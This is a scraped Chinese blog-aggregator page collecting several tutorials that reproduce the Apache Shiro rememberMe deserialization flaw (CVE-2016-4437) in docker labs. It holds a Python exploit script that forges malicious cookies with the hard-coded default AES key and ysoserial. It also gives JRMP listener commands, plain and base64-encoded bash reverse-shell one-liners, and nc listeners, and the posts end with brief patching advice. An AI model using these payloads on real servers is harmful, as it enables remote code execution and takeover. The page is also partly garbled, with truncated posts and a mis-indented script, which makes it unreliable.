精华内容
下载资源
问答
  • shiro反序列化漏洞复现
    2022-02-23 14:49:17

    Shiro反序列化漏洞复现

    Shiro简介

    Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。

    影响范围

    Apache Shiro <= 1.2.4

    漏洞简介

    Shiro反序列化漏洞主要存在Java开发的网站程序中,它是也属于java的反序列化漏洞。特征是响应包存在rememberMe标记,或者人为修改登陆包,在Cookie中rememberMe=deleteMe,同样观察回包是否存在rememberMe标记。如果存在,基本确定采用Shiro框架进行的认证或权限控制。,其处理cookie的流程是:
    得到rememberMe的cookie值 ->Base64解码 –>AES解密 –>反序列化。

    环境搭建

    利用工具:https://github.com/j1anFen/shiro_attack/releases/tag/2.2
    使用docker拉取漏洞镜像:

    docker pull medicean/vulapps:s_shiro_1
    systemctl restart docker
    docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
    

    访问http://your-ip:8081出现如下界面即代表环境搭建成功

    漏洞复现

    使用burpsuite抓包,看到rememberMe=deleteMe字段,猜测可能存在shiro反序列化

    使用工具进行检测
    下载后有两个文件,双击shiro_attack-2.2.jar文件即可

    如果双击没反应,那应该是java版本太高了,下载一个java8就可以了https://www.oracle.com/java/technologies/downloads/#java8

    命令执行

    文件上传

    漏洞修复

    目前官方发布了最新版本 ,强烈建议您更新并使用最新版本。

    更多相关内容
  • shiro反序列化漏洞复现

    千次阅读 2021-09-27 13:57:36
    目录简介:靶场环境漏洞复现一、手工复现二、图形工具 简介: Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性 漏洞原理: ...

    简介:

    Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性
    漏洞原理:
    Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
    那么,Payload产生的过程:
    命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
    在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单
    影响版本: Apache Shiro < 1.2.4
    漏洞挖掘: 响应包中包含rememberMe=deleteMe字段

    靶场环境

    vuluhub:自行百度
    在这里插入图片描述
    使用centos系统,进行docker进行部署,进入上图文件夹,执行如下命令,如下图所示为成功

    docker-compose up -d   #启动
    docker-compose ps      #查看运行状态
    

    在这里插入图片描述

    漏洞复现

    一、手工复现

    访问ip+8080端口,是一个登录页面
    在这里插入图片描述
    使用burp抓取当前页面数据包,在cookie中添加rememberMe=1,在响应包中显示Set-Cookie: rememberMe=deleteMe,说明存在shiro框架,可能存在漏洞
    在这里插入图片描述在这里插入图片描述
    1.通过ysoserial中JRMP监听模块,监听1099端口并执行反弹shell命令
    在VPS中执行:

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "反弹 shell 的命令"
    

    注意:
    1) 反弹 shell 的命令需要进行编码,在线转换网址:http://www.jackson-t.ca/runtime-exec-payloads.html
    在这里插入图片描述

    2) CommonsCollections5,数字5可换成1-12其中之一

    1. 生成payload(cookie)
    python exp.py 公网 vps:1099
    

    在这里插入图片描述
    exp.py,python代码

    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
    
    
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])   
    print "rememberMe={0}".format(payload.decode())
    
    1. VPS开启nc监听
    nc -nvlp 端口   #端口,就是上面写反弹shell的端口
    
    1. 在burp,cookie中插入payload
      在这里插入图片描述
    2. 此时vps接收到shell
      在这里插入图片描述

    二、图形化工具

    下载地址: https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/tag/v2.51
    使用方法: 输入待测地址,默认即可
    在这里插入图片描述
    在这里插入图片描述
    发现key了,说明存在漏洞
    在这里插入图片描述
    执行下whoami,应该是成功了,但是木有回显
    在这里插入图片描述
    执行下反弹shell,nc监听4399端口
    在这里插入图片描述
    成功接收shell
    在这里插入图片描述

    展开全文
  • #Apache Shiro 反序列化漏洞(CVE-20164437)# 一、漏洞简介 Shiro 是 Java 的一个安全框架,执行身份验证、授权、密码、会话管理 shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的...

    #Apache Shiro 反序列化漏洞(CVE-20164437)#

    一、漏洞简介

    Shiro 是 Java 的一个安全框架,执行身份验证、授权、密码、会话管理

    shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化 然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

    二、漏洞影响

    影响版本

    Apache Shiro <= 1.2.4

    三、产生原因

    Apache Shiro框架提供了记住我(RememberMe)的功能,关闭浏览器再次访问时无需再登录即可访问。shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。服务器端识别身份解密处理cookie的流程则是:

    (1)获取rememberMe cookie

    (2)base64 解码

    (3)AES解密(加密密钥硬编码)

    (4)反序列化(未作过滤处理)

    但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都可能会导致该漏洞的产生。

    四、复现过程

    docker 靶机:192.168.111.137

    攻击机 win7:192.168.111.132

    靶场环境:shiro 1.2.4

    访问目标Url

    在这里插入图片描述

    使用大佬的检测工具ShiroExploit检测是否存在shiro反序列化漏洞

    在这里插入图片描述

    存在漏洞,能够直接进行命令执行

    在这里插入图片描述

    反弹shell成功

    在这里插入图片描述

    在这里插入图片描述

    五、修复方案

    及时更新补丁

    参考oracle官网发布的补丁:
    https://www.oracle.com/security-alerts/cpuoct2020traditional.html

    六、参考链接

    反序列化工具_Apache Shiro 1.2.4反序列化漏洞复现(CVE20164437)

    Apache Shiro反序列化漏洞复现(Shiro550,CVE-2016-4437)

    标签

    CVE-2018-2894、weblogic、任意文件上传、未授权访问

    展开全文
  • CVE-2016-4437 Shiro反序列化漏洞复现

    一、漏洞概述

    Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

    Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

    二、影响版本

    Apache Shiro <= 1.2.4
     

    三、漏洞原理

    shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序可以推断出解密的顺序为获取cookie-base64解码-AES解密-反序列化。

    AES加密的KEY值被硬编码在代码中,可以从源码中找到KEY值。攻击者可以构造恶意代码,将其序列化-AES加密-base64编码,最后作为cookie值得rememberMe字段发送,shiro将接收到的rememberMe字段进行解码-解密-反序列化,如果成功,则执行恶意代码,构成攻击。

    ————https://www.cnblogs.com/peace-and-romance/p/15669560.html

    四、漏洞复现环境

    Kali Linux + Vulfocus
    渗透机:Kali Linux 
    靶机:Vulfocus

    五、实验步骤

    1.开启vulfoucs并获取实验镜像

    2.使用Shiro_exploit检测是否存在shiro漏洞

    项目链接:https://github.com/insightglacier/Shiro_exploit

    1

    python3 shiro_exploit.py -u http://192.168.117.131:45182

     vulnerable:Ture即表示存在shiro漏洞

    3.监听4216端口

    4.对反弹shell命令进行加密并利用

    1

    2

    3

    bash -i >& /dev/tcp/192.168.117.131/4216 0>&1

    base 64加密

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExNy4xMzEvNDIxNiAwPiYx}|{base64,-d}|{bash,-i}

    进而利用漏洞,获取flag,完结撒花

    1

    python3 shiro_exploit.py -3 -u http://192.168.117.131:45182 -"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExNy4xMzEvNDIxNiAwPiYx}|{base64,-d}|{bash,-i}"

    六、修复方式

    修复建议:升级shiro至最新版本1.7.0并生成新的密钥替换,注意妥善保管密钥。
    利用官方提供的方法生成密钥:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey(int),替换key修复指南:如以下内容!

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    24

    25

    26

    27

    28

    29

    30

    31

    32

    33

    34

    35

    36

    37

    38

    39

    40

    41

    42

    43

    44

    package com.iot.mainsite.component.shiro;

    import lombok.extern.slf4j.Slf4j;

    import org.springframework.context.annotation.Bean;

    import javax.crypto.KeyGenerator;

    import javax.crypto.SecretKey;

    import java.security.NoSuchAlgorithmException;

    /**

     * <p>GenerateCipherKey 此类用于:</p>

     * <p>@author:hujm</p>

     * <p>@date:2021年12月07日 19:02</p>

     * <p>@remark:</p>

     */

    @Slf4j

    public class GenerateCipherKey {

        /**

         * 随机生成秘钥,参考org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey(int)

         *

         * @return 随机生成秘钥

         */

        @Bean

        public static byte[] generateNewKey() {

            KeyGenerator keyGenerator;

            try {

                keyGenerator = KeyGenerator.getInstance("AES");

            catch (NoSuchAlgorithmException e) {

                String msg = "Unable to acquire AES algorithm. This is required to function.";

                throw new IllegalStateException(msg, e);

            }

            keyGenerator.init(128);

            SecretKey secretKey = keyGenerator.generateKey();

            byte[] encoded = secretKey.getEncoded();

            log.info("生成随机秘钥成功!");

            return encoded;

        }

    }————https://blog.csdn.net/m0_67401835/article/details/123828791

    展开全文
  • (1) cd vulhub/shiro/CVE-2016-4437 切换目录。 (2)docker-compose up -d 启动。 (3)访问: http://192.168.43.128:8080/login;jsessionid=F8C504BD06F484504DDCD30D7410DABF (4)打开ShiroExploit.jar:...
  • Apache Shiro 反序列化漏洞一、简介二、环境三、漏洞原理四、AES秘钥1、判断AES秘钥五、Shiro rememberMe反序列化漏洞Shiro-550)1、版本1.4.2之前该版本漏洞利用2、版本1.4.2之后该版本漏洞利用六、Shiro Padding...
  • Apache Shiro 反序列化漏洞复现(CVE-2016-4437) 漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。 ...
  • shiro反序列化漏洞的原理和复现

    千次阅读 2022-03-31 18:35:01
    一、shiro简介 Shiro是一个强大的简单易用的...三、shiro反序列化漏洞原理 AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES
  • shiro反序列化漏洞复现(CVE-2016-4437) 1.漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro易于理解的API,开发者可以快速、轻松地获得任何应用程序,从最小的...
  • Shiro是什么东西? Shiro 是 Java 的一个...反序列 然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列的RCE漏洞。 原理解释https://www.freebuf.com/vuls/178014.html 什么是硬编码: 硬编
  • 关于CVE-2016-4437漏洞描述 Apache Shiro 1.2.5之前的版本中,当没有为“记住我”功能配置密码密钥时,远程攻击者可通过未指定的请求参数执行任意代码或绕过预期的访问限制。 影响版本:Apache Shiro <= 1.2.4 ...
  • Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列、AES加密、Base64编码操作。 在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据...
  • Shiro反序列化漏洞复现(CVE-2016-4437) 漏洞原理 shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、...
  • shiro反序列化漏洞

    2022-06-28 14:41:04
    Apache Shiro 是一个强大灵活的开源安全框架,可以完全处理身份验证、授权、加密和会话管理。shiro框架详细介绍:Shiro安全框架【快速入门】就这一篇! - 知乎 (zhihu.com)在Shiro
  • Apache Shiro java反序列化漏洞复现

    千次阅读 2020-08-20 11:03:34
    Apache Shiro java反序列化漏洞复现 影响版本 Apache Shiro <= 1.2.4 环境搭建 准备环境 攻击机: Windows或者Linux (我用的是windows10 1903)、ysoserial-0.0.6-SNAPSHOT-all.jar、python环境、Java环境 **...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 429
精华内容 171
关键字:

shiro反序列化漏洞复现